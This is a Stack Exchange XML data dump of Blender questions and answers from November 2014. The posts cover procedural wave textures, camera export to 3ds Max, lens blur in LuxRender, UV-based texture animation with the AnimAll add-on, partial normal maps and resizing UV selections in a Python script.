  <row Id="18470" PostTypeId="1" AcceptedAnswerId="18487" CreationDate="2014-11-03T02:36:09.520" Score="3" ViewCount="1177" Body="&lt;p&gt;I would like to make some &lt;em&gt;U&lt;/em&gt;-shape waves like the ones I drawn in yellow on the picture below :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dlxLR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to found a way to make some radial waves with the musgrave texture node in cycles trough it's vector input. I didn't succed so far, but I found a way to make something who looks some like radial wave,&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5e2Sc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problems on the picture above are, first off that I lost the ability to change the scale, second it looks radial only around the origin point. Moreover I really would like to know how to solve this problem with the vector input, because I hope it will fit better with my linear waves and it would also help me to solve some other problems.&lt;/p&gt;&#xA;" OwnerUserId="6220" LastEditorUserId="2617" LastEditDate="2014-11-03T03:08:17.333" LastActivityDate="2014-11-04T20:04:50.903" Title="U-shape waves with musgrave texture node in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18471" PostTypeId="2" ParentId="18470" CreationDate="2014-11-03T03:03:16.107" Score="1" Body="&lt;p&gt;Ok, I was able to get the scaling by putting a &lt;strong&gt;Mapping&lt;/strong&gt; node before the &lt;strong&gt;Separate XYZ&lt;/strong&gt;, so if you use this node setup:&lt;img src=&quot;https://i.stack.imgur.com/VUMfZ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I played around with the &lt;em&gt;location&lt;/em&gt; and &lt;em&gt;scale&lt;/em&gt; and &lt;em&gt;power&lt;/em&gt; options getting this result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jqtET.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which sounds like what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-03T03:03:16.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18475" PostTypeId="2" ParentId="18433" CreationDate="2014-11-03T07:24:21.287" Score="4" Body="&lt;p&gt;I believe it can be done. First thing first being setting up the eye material to be visible front side only. (&lt;a href=&quot;https://blender.stackexchange.com/questions/2082/one-side-material&quot;&gt;How can I make a material only apply to a side of a plane?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next step is constructing a mask from both head and hair using object index passes (&lt;a href=&quot;https://blender.stackexchange.com/questions/3423/how-to-use-an-object-as-a-mask&quot;&gt;How to use an object as a mask?&lt;/a&gt;). Using this as a mask for the eyes results that the eyes will become occluded behind other solid objects, like Link's hands.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-11-03T07:24:21.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18477" PostTypeId="2" ParentId="18409" CreationDate="2014-11-03T10:35:34.370" Score="0" Body="&lt;p&gt;You don't need to measure the flow of the liquid.  If you place a cube of liquid above the bottle, that you could easily make the required volume, and 'pour' the liquid into the bottle using a funnel you could as you say perform this a few times and scale your bottle to the required size.  This assumes that blender preserves liquid volume during simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are mathematical models for calculating volume for complex shapes but without knowing more about your specific requirements I wouldn't suggest going to the effort of investigating them.&lt;/p&gt;&#xA;" OwnerUserId="1600" LastActivityDate="2014-11-03T10:35:34.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18478" PostTypeId="1" CreationDate="2014-11-03T10:46:23.083" Score="4" ViewCount="5637" Body="&lt;p&gt;I have motion tracked my camera in Blender and have been trying to import it into 3d max. When I export it as an .fbx, the camera, when I import it into Max,  is facing the opposite direction to what it was in the Blender scene, and the animation that was on the camera, is on the geometry. I tried to change the forward axis of the camera in the export settings but this didn't effect the direction of the camera at all when I brought it into Max. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried an .obj, but only the geometry imported and it was all squashed together, and the camera didn't import at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I tried to export as a .dae, but although the camera is facing the right way, the tracking is completely off and very rough and jumpy, whereas it was perfect in Blender. Can anybody help me out here?&lt;/p&gt;&#xA;" OwnerUserId="7825" LastEditorUserId="3710" LastEditDate="2014-11-24T11:53:10.953" LastActivityDate="2020-08-12T22:59:40.967" Title="How to export a motion tracked camera to 3ds Max?" Tags="&lt;animation&gt;&lt;export&gt;&lt;camera&gt;&lt;tracking&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18479" PostTypeId="2" ParentId="18455" CreationDate="2014-11-03T11:33:25.277" Score="1" Body="&lt;p&gt;Rendering a region will always have the margins added to it when completed. The purpose of this tool is to make it so you do not have to render an  entire image when you are test rendering, so the margins give you an idea of what part of the scene it is in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really need to use this method for a final render (NOT recommended, move your camera!) then you can use any image manipulation software to get the margins trimmed off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to render different sections because of huge render times for the entire image, and then add them together in post-pro, that works well, too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HINT: Check transparent background settings, it will make your work a whole lot easier!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lMlMR.png&quot; alt=&quot;Shading Alpha&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does not answer your question, please leave a comment, I'll try to get back to you.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-03T11:33:25.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18480" PostTypeId="2" ParentId="18478" CreationDate="2014-11-03T12:50:35.537" Score="4" Body="&lt;p&gt;As of &lt;strong&gt;Blender 2.8x&lt;/strong&gt; you can export your camera as well as the entire scene using &lt;a href=&quot;https://en.wikipedia.org/wiki/Alembic_(computer_graphics)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;alembic&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Universal_Scene_Description&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;usd&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;(Autodesk is working on adding USD support)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XYzZz.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XYzZz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;Baked camera parented to an empty which is keyframed&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N4HWP.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4HWP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;Alembic file imported into 3ds Max&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/FBX&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Filmbox&lt;/strong&gt;&lt;/a&gt; &lt;code&gt;fbx&lt;/code&gt; is another option and probably the best option for &lt;strong&gt;Blender 2.7x&lt;/strong&gt; since the file format is developed by Autodesk. However it's tricky in some cases because it depends on your &lt;em&gt;3ds Max&lt;/em&gt; version and the version of the &lt;em&gt;fbx plugin&lt;/em&gt; installed. Alternatively you can export the camera as &lt;strong&gt;.chan file&lt;/strong&gt; (&lt;em&gt;Nuke Animation Add-on&lt;/em&gt;) and import the file using &lt;a href=&quot;http://www.scriptspot.com/3ds-max/scripts/nukeximporter&quot; rel=&quot;nofollow noreferrer&quot;&gt;nukeX Importer&lt;/a&gt; or &lt;a href=&quot;http://www.scriptspot.com/3ds-max/scripts/nuke2max&quot; rel=&quot;nofollow noreferrer&quot;&gt;nuke2max&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2020-03-06T19:14:30.353" LastActivityDate="2020-03-06T19:14:30.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18481" PostTypeId="1" CreationDate="2014-11-03T14:45:44.947" Score="6" ViewCount="1693" Body="&lt;p&gt;My question is similar to this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/9091/can-blender-be-used-for-simple-optical-modeling&quot;&gt;Can blender be used for simple optical modeling?&lt;/a&gt; . &#xA;I apologize for asking a similar question but I don't have enough reputation to comment on the original question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like in the original question I would like to view a scene through a modeled lens.&#xA;What I want to archive in the end is &quot;real&quot; out-of-focus blur (I am aware that one can play with the blur-nodes of the build-in blender cam, but I want to see the blur as generated by my specific lens)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested by Liss' answer to the original question, I set up my scene using Luxrender as renderer as follows: (the answer contained guidelines, the specific details are my guesses of how to exactly set it up) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;created a simple lens (intersecting two smooth UV-Spheres, luxrender material glass or glass2 with IOR=1.41)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;created a translucent plane (alpha 0.01) to act as film&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set blendercam to orthogonal and placed behind film&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;as a test-object to be viewed through the lens I set a cube with a checkerboard pattern (to detect blurry lines when out of focus)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However when rendering the cube (or film) at distances to the lens where the cube should clearly be out-of-focus I still get a pretty sharp image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I had understood Luxrender is very physically accurate so that tracing rays through a lens should result in blur. &#xA;Is this correct? And if so, what am I missing to achieve the blur?&lt;/p&gt;&#xA;" OwnerUserId="7776" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-12-05T01:56:01.090" Title="Blender for optical modeling II" Tags="&lt;modeling&gt;&lt;materials&gt;&lt;light&gt;&lt;blur&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18482" PostTypeId="1" CreationDate="2014-11-03T15:35:09.680" Score="1" ViewCount="325" Body="&lt;p&gt;I'll admit, I know nothing about Blender. Hadn't even heard the name until last week.&#xA;A client of mine is looking to replace a 2010 Mac Pro with something more recent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I told them that I'd do some research to determine where the 'sweet spot' in price/performance was on Apple's current Mac Pro offerings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is.&lt;br&gt;&#xA;How much of blender work is CPU-related, and how much is GPU related? Where do you think the best price/performance ratio lies?  Should I prioritize spending on the CPU, the GPU or look for a balance?  The six-core/D500 GPU is my current plan, but I'm willing to be persuaded.&lt;/p&gt;&#xA;" OwnerUserId="7827" LastEditorUserId="2217" LastEditDate="2014-11-03T15:41:11.243" LastActivityDate="2014-11-03T15:41:11.243" Title="Considering buying a new computer, how much of blender is CPU related vs GPU related?" Tags="&lt;gpu&gt;&lt;osx&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-03T17:31:24.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="18483" PostTypeId="2" ParentId="16703" CreationDate="2014-11-03T15:48:51.797" Score="0" Body="&lt;p&gt;As far as I am aware a method for doing this doesn't exist for blender.  ZBrush has a method for capturing materials from a photo called Matcap, it creates a material which includes material and lighting properties.  It may of interest to you to see how it works &lt;a href=&quot;http://docs.pixologic.com/user-guide/materials-lights-rendering/materials/matcap/matcap-basics/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.youtube.com/watch?v=f39oheQEk5c&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the main problem is the lighting one, the information you capture will be very dependant on the ambient and direct lighting of the material.  I'm not sure how you are going to manage to separate the lighting and materiel information.  I guess the other problem is you don't always have a planar surface to capture from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does sound like a useful and cool feature to have but I'm not sure how robust it will be and how much effort you will need to put into your photo capture setup to get good results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know many people use ZBrush's Matcap feature because you can capture material+lighting from any single image of any shape material quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This probably should have been a comment but I don't have enough reputation on blender.stackexchange to post comments)&lt;/p&gt;&#xA;" OwnerUserId="1600" LastActivityDate="2014-11-03T15:48:51.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18484" PostTypeId="2" ParentId="18363" CreationDate="2014-11-03T16:47:27.077" Score="12" Body="&lt;p&gt;You can use an addon called &lt;strong&gt;&lt;em&gt;Animall&lt;/em&gt;&lt;/strong&gt; to animate the texture.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MrUst.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;CYCLES&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Activate an AnimAll add-on (File--&gt; User Preferences--&gt; Addons--&gt; AnimAll). It'll be displayed in the tools menu in the 'Animation' section.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/drwRm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Setup the image texture in the Node Editor. Enter the &quot;Edit Mode&quot;and unwrap the mesh (press U in 3d window) using the Project from view.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hnta8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;In UV/Image Editor place the UV island on the desired part of the image texture (note that you have to make perfect spaces between images in graphics program. In this case the images have 200 px of space between them).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/usgaA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Check the 'UVs' box and insert the first keyframe (clicking 'Insert').&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bBibW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Go to the next frame (right arrow), place the UV island on the next part of the image texture (in this case i go 200 units along x axis) and inesert the keyframe again. Repeat this process moving right.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w12ch.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Place the UV island in the lower row (in this case I move the uv island -600 units along x axis and -200 units along y axis)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDtey.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;Continue the proces and position the UV island on the last image part (of course the moving patern could be different). Go to the 'Object Mode' and play the animation (alt+A).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VDsJj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8.- Select all keyframes on the dopesheet (or Graph editor) and set them to &lt;strong&gt;Constant&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ogZS6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;9&quot;&gt;&#xA;&lt;li&gt;You can also prepare the texture like this, so it will be easier to jump between images. Remember about doing perfect spacing between them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6iXCE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;10&quot;&gt;&#xA;&lt;li&gt;Go to NLA Editor, change the action name (CTRL+LMB) and click the 'double arrow' icon.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrJNV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;11&quot;&gt;&#xA;&lt;li&gt;Now you have your 'blink animation' in one block and you can place it wherever you like on the timeline.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ohCPY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I helped.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;--------------------------------------------------------------------------------------------&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;BLENDER INTERNAL RENDER&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm adding an update, since Warianos wants to know how to do the same thing in Blender Internal. So here it goes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the mesh you want to have an animated texture on it, and in &lt;em&gt;Shading&lt;/em&gt; panel change the &lt;em&gt;Material Mode&lt;/em&gt; from &lt;strong&gt;&lt;em&gt;Multitexture&lt;/em&gt;&lt;/strong&gt; to &lt;strong&gt;&lt;em&gt;GLSL&lt;/em&gt;&lt;/strong&gt;. Add a lamp (a sun lamp for example), so you'll be able to see the texture when you apply it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRrPd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;With the object selected in &lt;em&gt;Object Mode&lt;/em&gt; go to the &lt;em&gt;Materials Panel&lt;/em&gt;. Add the material. Set the &lt;em&gt;Diffuse&lt;/em&gt; and &lt;em&gt;Specular&lt;/em&gt; values if you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rdN8J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Go to the &lt;em&gt;Textures Panel&lt;/em&gt;, set the texture type to &lt;strong&gt;&lt;em&gt;Image or Movie&lt;/em&gt;&lt;/strong&gt;, then click the &lt;em&gt;Open&lt;/em&gt; button in &lt;em&gt;Image panel&lt;/em&gt; and load your image.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hXq8N.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;In &lt;em&gt;Mapping&lt;/em&gt; panel set the Coordinates to &lt;strong&gt;UV&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UwgPh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;In 3d window set the &lt;em&gt;Viewport Shading&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Texture&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vYDlI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Load an image in &lt;em&gt;Uv/Image Editor&lt;/em&gt; window. Unwrap the mesh using &lt;em&gt;Project from View&lt;/em&gt; option. Enable an &lt;em&gt;AnimAll addon&lt;/em&gt; and check the &lt;em&gt;Uvs&lt;/em&gt; box.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/guyFa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;Now the process looks like in my previous answer. You press &lt;em&gt;Insert&lt;/em&gt; in AnimAll panel and add a keyframe. Then you go to other frame, change the Uv island's position and press &lt;em&gt;Insert&lt;/em&gt; again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AmUFW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tM48b.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;8&quot;&gt;&#xA;&lt;li&gt;Being in &lt;em&gt;Object Mode&lt;/em&gt;, with the &lt;em&gt;Viewport Shading&lt;/em&gt; set to &lt;em&gt;Texture&lt;/em&gt; you can now play an animation to check out how it looks like. If you don't want the smooth transition between images you may set the &lt;em&gt;Curve Interpolation type&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Constant&lt;/em&gt;&lt;/strong&gt;, by pressing &lt;kbd&gt;T&lt;/kbd&gt; in graph editor window (as Cegaton suggested in his answer).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ogZS6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it is what you wanted to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MrUst.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2016-09-14T12:31:17.517" LastActivityDate="2016-09-14T12:31:17.517" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18485" PostTypeId="1" AcceptedAnswerId="18488" CreationDate="2014-11-03T18:00:51.413" Score="3" ViewCount="1090" Body="&lt;p&gt;I'm trying to apply a normal map on a plane with two textures painted on it,&#xA;but in a way that it's only applied to the second one. It's a really simple &#xA;scene of a crossroad going through a field (for testing the normal map).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that I can't figure out how to apply the normal map so that&#xA;it uses only the road texture and not the whole plane. I have done my researches &#xA;about this problem with no luck, so I'd really appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if I'm using correct terms to describe this but here's a figure and&#xA;link to the .blend file to give you a better idea what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.blend: &lt;a href=&quot;https://drive.google.com/folderview?id=0B4NHszZHPR_1TFlfdThBMjF6MzA&amp;amp;usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/folderview?id=0B4NHszZHPR_1TFlfdThBMjF6MzA&amp;amp;usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L7l5E.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7828" LastEditorUserId="2217" LastEditDate="2014-11-03T18:08:22.607" LastActivityDate="2014-11-03T19:02:57.940" Title="Normal map on only part of the material" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18486" PostTypeId="1" AcceptedAnswerId="19044" CreationDate="2014-11-03T18:23:40.777" Score="3" ViewCount="930" Body="&lt;p&gt;I'm trying to select a part of my uv image. Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FQz0y.png&quot; alt=&quot;I want to resize the selected part&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At blender, everything looks well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rNlPs.png&quot; alt=&quot;This image shows what I want to do.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;BUT&lt;/em&gt; I need to do this at .py archive. How you can see, Blender &quot;says&quot; that it using bpy.ops.transform.resize(...) to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the script that Blender suggests, however, another thing happens!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g9Gjp.png&quot; alt=&quot;Wrong, wrong way&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I could do, at python, the resizing showed at second image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script untill now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def create_score():&#xA;#adding empty object&#xA;bpy.ops.object.empty_add()&#xA;empty_obj = bpy.context.object&#xA;empty_obj.name = &quot;score&quot;&#xA;&#xA;#adding score plane&#xA;bpy.ops.mesh.primitive_plane_add(radius=1, location=(0.5,6.7,0))&#xA;bpy.ops.transform.resize(value=(-8, -8, -8), constraint_axis=(True, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;&#xA;#adding score object1&#xA;bpy.ops.mesh.primitive_plane_add(radius=0.5, location=(-6, 7.2, 0.1))&#xA;obtext1 = bpy.context.object&#xA;obtext1.name = &quot;Score1&quot;&#xA;obtext1.select = True&#xA;bpy.ops.object.editmode_toggle()&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        area.spaces[0].viewport_shade = 'TEXTURED'&#xA;        area.type = 'IMAGE_EDITOR'&#xA;bpy.ops.image.open(filepath=&quot;//../../textures/arialbd.tga&quot;, directory=&quot;/home/camila/Documents/cinemaxd/PlayerXD/textures/&quot;, files=[{&quot;name&quot;:&quot;arialbd.tga&quot;, &quot;name&quot;:&quot;arialbd.tga&quot;}], relative_path=True)&#xA;bpy.data.screens['UV Editing'].areas[1].spaces[0].image = bpy.data.images['arialbd.tga']&#xA;bpy.ops.uv.unwrap()&#xA;bpy.ops.uv.select_all(action='TOGGLE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# store original area type&#xA;originalArea = bpy.context.area.type&#xA;# change current area to image editor&#xA;bpy.context.area.type = 'IMAGE_EDITOR'&#xA;&#xA;#insert UV specific transforms here&#xA;&#xA;#return to previouswindow for good measure ( and cleanliness )&#xA;bpy.context.area.type =originalArea&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do not helped too :/&lt;/p&gt;&#xA;" OwnerUserId="7829" LastEditorUserId="7829" LastEditDate="2014-11-03T19:11:25.920" LastActivityDate="2014-11-19T20:59:56.257" Title="How to resize selected part of uv image in python?" Tags="&lt;python&gt;&lt;uv&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
